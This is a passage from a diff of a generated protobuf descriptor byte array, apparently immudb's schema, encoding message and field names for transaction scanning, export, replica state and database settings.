0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x12, 0x16, - 0x0a, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x18, 0x05, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, - 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x12, 0x3a, 0x0a, 0x18, 0x6b, 0x65, 0x65, 0x70, 0x52, 0x65, - 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x73, 0x55, 0x6e, 0x72, 0x65, 0x73, 0x6f, 0x6c, 0x76, - 0x65, 0x64, 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, 0x52, 0x18, 0x6b, 0x65, 0x65, 0x70, 0x52, 0x65, - 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x73, 0x55, 0x6e, 0x72, 0x65, 0x73, 0x6f, 0x6c, 0x76, - 0x65, 0x64, 0x22, 0xc7, 0x01, 0x0a, 0x0d, 0x54, 0x78, 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x12, 0x1c, 0x0a, 0x09, 0x69, 0x6e, 0x69, 0x74, 0x69, 0x61, 0x6c, 0x54, - 0x78, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x09, 0x69, 0x6e, 0x69, 0x74, 0x69, 0x61, 0x6c, - 0x54, 0x78, 0x12, 0x14, 0x0a, 0x05, 0x6c, 0x69, 0x6d, 0x69, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, - 0x0d, 0x52, 0x05, 0x6c, 0x69, 0x6d, 0x69, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x64, 0x65, 0x73, 0x63, - 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x04, 0x64, 0x65, 0x73, 0x63, 0x12, 0x3c, 0x0a, 0x0b, - 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x18, 0x04, 0x20, 0x01, 0x28, - 0x0b, 0x32, 0x1a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x52, 0x0b, 0x65, - 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, - 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x05, 0x20, 0x01, 0x28, 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, - 0x63, 0x65, 0x54, 0x78, 0x12, 0x16, 0x0a, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x18, 0x06, - 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x22, 0x2d, 0x0a, 0x06, - 0x54, 0x78, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x23, 0x0a, 0x03, 0x74, 0x78, 0x73, 0x18, 0x01, 0x20, - 0x03, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x52, 0x03, 0x74, 0x78, 0x73, 0x22, 0xc0, 0x01, 0x0a, 0x0f, - 0x45, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, - 0x0e, 0x0a, 0x02, 0x74, 0x78, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x02, 0x74, 0x78, 0x12, - 0x2c, 0x0a, 0x11, 0x61, 0x6c, 0x6c, 0x6f, 0x77, 0x50, 0x72, 0x65, 0x43, 0x6f, 0x6d, 0x6d, 0x69, - 0x74, 0x74, 0x65, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x11, 0x61, 0x6c, 0x6c, 0x6f, - 0x77, 0x50, 0x72, 0x65, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x12, 0x3f, 0x0a, - 0x0c, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x53, 0x74, 0x61, 0x74, 0x65, 0x18, 0x03, 0x20, - 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x52, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x53, 0x74, 0x61, 0x74, 0x65, - 0x52, 0x0c, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x53, 0x74, 0x61, 0x74, 0x65, 0x12, 0x2e, - 0x0a, 0x12, 0x73, 0x6b, 0x69, 0x70, 0x49, 0x6e, 0x74, 0x65, 0x67, 0x72, 0x69, 0x74, 0x79, 0x43, - 0x68, 0x65, 0x63, 0x6b, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x52, 0x12, 0x73, 0x6b, 0x69, 0x70, - 0x49, 0x6e, 0x74, 0x65, 0x67, 0x72, 0x69, 0x74, 0x79, 0x43, 0x68, 0x65, 0x63, 0x6b, 0x22, 0xc2, - 0x01, 0x0a, 0x0c, 0x52, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x53, 0x74, 0x61, 0x74, 0x65, 0x12, - 0x12, 0x0a, 0x04, 0x55, 0x55, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x55, - 0x55, 0x49, 0x44, 0x12, 0x24, 0x0a, 0x0d, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, - 0x54, 0x78, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0d, 0x63, 0x6f, 0x6d, 0x6d, - 0x69, 0x74, 0x74, 0x65, 0x64, 0x54, 0x78, 0x49, 0x44, 0x12, 0x22, 0x0a, 0x0c, 0x63, 0x6f, 0x6d, - 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x41, 0x6c, 0x68, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0c, 0x52, - 0x0c, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x41, 0x6c, 0x68, 0x12, 0x2a, 0x0a, - 0x10, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x54, 0x78, 0x49, - 0x44, 0x18, 0x04, 0x20, 0x01, 0x28, 0x04, 0x52, 0x10, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6d, 0x6d, - 0x69, 0x74, 0x74, 0x65, 0x64, 0x54, 0x78, 0x49, 0x44, 0x12, 0x28, 0x0a, 0x0f, 0x70, 0x72, 0x65, - 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x41, 0x6c, 0x68, 0x18, 0x05, 0x20, 0x01, - 0x28, 0x0c, 0x52, 0x0f, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, - 0x41, 0x6c, 0x68, 0x22, 0x2e, 0x0a, 0x08, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, - 0x22, 0x0a, 0x0c, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x18, - 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, - 0x61, 0x6d, 0x65, 0x22, 0xc0, 0x03, 0x0a, 0x10, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, - 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x22, 0x0a, 0x0c, 0x64, 0x61, 0x74, 0x61, - 0x62, 0x61, 0x73, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, - 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x18, 0x0a, 0x07, - 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x72, - 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x12, 0x28, 0x0a, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, - 0x79, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, - 0x12, 0x20, 0x0a, 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x48, 0x6f, 0x73, 0x74, 0x18, - 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x48, 0x6f, - 0x73, 0x74, 0x12, 0x20, 0x0a, 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x50, 0x6f, 0x72, - 0x74, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, - 0x50, 0x6f, 0x72, 0x74, 0x12, 0x28, 0x0a, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x55, - 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x06, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0f, 0x70, - 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x28, - 0x0a, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, - 0x64, 0x18, 0x07, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, - 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x12, 0x1a, 0x0a, 0x08, 0x66, 0x69, 0x6c, 0x65, - 0x53, 0x69, 0x7a, 0x65, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x08, 0x66, 0x69, 0x6c, 0x65, - 0x53, 0x69, 0x7a, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x6d, 0x61, 0x78, 0x4b, 0x65, 0x79, 0x4c, 0x65, - 0x6e, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x09, 0x6d, 0x61, 0x78, 0x4b, 0x65, 0x79, 0x4c, - 0x65, 0x6e, 0x12, 0x20, 0x0a, 0x0b, 0x6d, 0x61, 0x78, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x4c, 0x65, - 0x6e, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x6d, 0x61, 0x78, 0x56, 0x61, 0x6c, 0x75, - 0x65, 0x4c, 0x65, 0x6e, 0x12, 0x22, 0x0a, 0x0c, 0x6d, 0x61, 0x78, 0x54, 0x78, 0x45, 0x6e, 0x74, - 0x72, 0x69, 0x65, 0x73, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0c, 0x6d, 0x61, 0x78, 0x54, - 0x78, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x12, 0x2c, 0x0a, 0x11, 0x65, 0x78, 0x63, 0x6c, - 0x75, 0x64, 0x65, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x54, 0x69, 0x6d, 0x65, 0x18, 0x0c, 0x20, - 0x01, 0x28, 0x08, 0x52, 0x11, 0x65, 0x78, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x43, 0x6f, 0x6d, 0x6d, - 0x69, 0x74, 0x54, 0x69, 0x6d, 0x65, 0x22, 0x92, 0x01, 0x0a, 0x15, 0x43, 0x72, 0x65, 0x61, 0x74, - 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, - 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x43, 0x0a, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, - 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, - 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, - 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x20, 0x0a, 0x0b, 0x69, 0x66, 0x4e, - 0x6f, 0x74, 0x45, 0x78, 0x69, 0x73, 0x74, 0x73, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0b, - 0x69, 0x66, 0x4e, 0x6f, 0x74, 0x45, 0x78, 0x69, 0x73, 0x74, 0x73, 0x22, 0x99, 0x01, 0x0a, 0x16, - 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, - 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x43, 0x0a, 0x08, 0x73, 0x65, - 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x27, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, - 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, - 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, - 0x26, 0x0a, 0x0e, 0x61, 0x6c, 0x72, 0x65, 0x61, 0x64, 0x79, 0x45, 0x78, 0x69, 0x73, 0x74, 0x65, - 0x64, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0e, 0x61, 0x6c, 0x72, 0x65, 0x61, 0x64, 0x79, - 0x45, 0x78, 0x69, 0x73, 0x74, 0x65, 0x64, 0x22, 0x78, 0x0a, 0x15, 0x55, 0x70, 0x64, 0x61, 0x74, - 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x43, 0x0a, 0x08, - 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x27, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, - 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, - 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, - 0x73, 0x22, 0x79, 0x0a, 0x16, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, - 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, + 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x52, 0x0b, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, + 0x73, 0x53, 0x70, 0x65, 0x63, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, + 0x18, 0x05, 0x20, 0x01, 0x28, 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x12, + 0x16, 0x0a, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, 0x52, + 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x22, 0x2d, 0x0a, 0x06, 0x54, 0x78, 0x4c, 0x69, 0x73, + 0x74, 0x12, 0x23, 0x0a, 0x03, 0x74, 0x78, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x11, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, + 0x78, 0x52, 0x03, 0x74, 0x78, 0x73, 0x22, 0xc0, 0x01, 0x0a, 0x0f, 0x45, 0x78, 0x70, 0x6f, 0x72, + 0x74, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x0e, 0x0a, 0x02, 0x74, 0x78, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x02, 0x74, 0x78, 0x12, 0x2c, 0x0a, 0x11, 0x61, 0x6c, + 0x6c, 0x6f, 0x77, 0x50, 0x72, 0x65, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x18, + 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x11, 0x61, 0x6c, 0x6c, 0x6f, 0x77, 0x50, 0x72, 0x65, 0x43, + 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x12, 0x3f, 0x0a, 0x0c, 0x72, 0x65, 0x70, 0x6c, + 0x69, 0x63, 0x61, 0x53, 0x74, 0x61, 0x74, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x52, + 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x53, 0x74, 0x61, 0x74, 0x65, 0x52, 0x0c, 0x72, 0x65, 0x70, + 0x6c, 0x69, 0x63, 0x61, 0x53, 0x74, 0x61, 0x74, 0x65, 0x12, 0x2e, 0x0a, 0x12, 0x73, 0x6b, 0x69, + 0x70, 0x49, 0x6e, 0x74, 0x65, 0x67, 0x72, 0x69, 0x74, 0x79, 0x43, 0x68, 0x65, 0x63, 0x6b, 0x18, + 0x04, 0x20, 0x01, 0x28, 0x08, 0x52, 0x12, 0x73, 0x6b, 0x69, 0x70, 0x49, 0x6e, 0x74, 0x65, 0x67, + 0x72, 0x69, 0x74, 0x79, 0x43, 0x68, 0x65, 0x63, 0x6b, 0x22, 0xc2, 0x01, 0x0a, 0x0c, 0x52, 0x65, + 0x70, 0x6c, 0x69, 0x63, 0x61, 0x53, 0x74, 0x61, 0x74, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x55, 0x55, + 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x55, 0x55, 0x49, 0x44, 0x12, 0x24, + 0x0a, 0x0d, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x54, 0x78, 0x49, 0x44, 0x18, + 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0d, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, + 0x54, 0x78, 0x49, 0x44, 0x12, 0x22, 0x0a, 0x0c, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, + 0x64, 0x41, 0x6c, 0x68, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0c, 0x63, 0x6f, 0x6d, 0x6d, + 0x69, 0x74, 0x74, 0x65, 0x64, 0x41, 0x6c, 0x68, 0x12, 0x2a, 0x0a, 0x10, 0x70, 0x72, 0x65, 0x63, + 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x54, 0x78, 0x49, 0x44, 0x18, 0x04, 0x20, 0x01, + 0x28, 0x04, 0x52, 0x10, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, + 0x54, 0x78, 0x49, 0x44, 0x12, 0x28, 0x0a, 0x0f, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6d, 0x6d, 0x69, + 0x74, 0x74, 0x65, 0x64, 0x41, 0x6c, 0x68, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0f, 0x70, + 0x72, 0x65, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x41, 0x6c, 0x68, 0x22, 0x2e, + 0x0a, 0x08, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x64, 0x61, + 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x0c, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0xc0, + 0x03, 0x0a, 0x10, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, + 0x6e, 0x67, 0x73, 0x12, 0x22, 0x0a, 0x0c, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, + 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x64, 0x61, 0x74, 0x61, 0x62, + 0x61, 0x73, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x72, 0x65, 0x70, 0x6c, 0x69, + 0x63, 0x61, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, + 0x61, 0x12, 0x28, 0x0a, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x44, 0x61, 0x74, 0x61, + 0x62, 0x61, 0x73, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0f, 0x70, 0x72, 0x69, 0x6d, + 0x61, 0x72, 0x79, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x70, + 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x48, 0x6f, 0x73, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x20, 0x0a, + 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x05, 0x20, 0x01, + 0x28, 0x0d, 0x52, 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x50, 0x6f, 0x72, 0x74, 0x12, + 0x28, 0x0a, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, + 0x6d, 0x65, 0x18, 0x06, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, + 0x79, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x28, 0x0a, 0x0f, 0x70, 0x72, 0x69, + 0x6d, 0x61, 0x72, 0x79, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x18, 0x07, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x50, 0x61, 0x73, 0x73, 0x77, + 0x6f, 0x72, 0x64, 0x12, 0x1a, 0x0a, 0x08, 0x66, 0x69, 0x6c, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x18, + 0x08, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x08, 0x66, 0x69, 0x6c, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x12, + 0x1c, 0x0a, 0x09, 0x6d, 0x61, 0x78, 0x4b, 0x65, 0x79, 0x4c, 0x65, 0x6e, 0x18, 0x09, 0x20, 0x01, + 0x28, 0x0d, 0x52, 0x09, 0x6d, 0x61, 0x78, 0x4b, 0x65, 0x79, 0x4c, 0x65, 0x6e, 0x12, 0x20, 0x0a, + 0x0b, 0x6d, 0x61, 0x78, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x4c, 0x65, 0x6e, 0x18, 0x0a, 0x20, 0x01, + 0x28, 0x0d, 0x52, 0x0b, 0x6d, 0x61, 0x78, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x4c, 0x65, 0x6e, 0x12, + 0x22, 0x0a, 0x0c, 0x6d, 0x61, 0x78, 0x54, 0x78, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x18, + 0x0b, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0c, 0x6d, 0x61, 0x78, 0x54, 0x78, 0x45, 0x6e, 0x74, 0x72, + 0x69, 0x65, 0x73, 0x12, 0x2c, 0x0a, 0x11, 0x65, 0x78, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x43, 0x6f, + 0x6d, 0x6d, 0x69, 0x74, 0x54, 0x69, 0x6d, 0x65, 0x18, 0x0c, 0x20, 0x01, 0x28, 0x08, 0x52, 0x11, + 0x65, 0x78, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x54, 0x69, 0x6d, + 0x65, 0x22, 0x92, 0x01, 0x0a, 0x15, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, + 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, + 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, + 0x43, 0x0a, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, + 0x0b, 0x32, 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, + 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x08, 0x73, 0x65, 0x74, 0x74, + 0x69, 0x6e, 0x67, 0x73, 0x12, 0x20, 0x0a, 0x0b, 0x69, 0x66, 0x4e, 0x6f, 0x74, 0x45, 0x78, 0x69, + 0x73, 0x74, 0x73, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0b, 0x69, 0x66, 0x4e, 0x6f, 0x74, + 0x45, 0x78, 0x69, 0x73, 0x74, 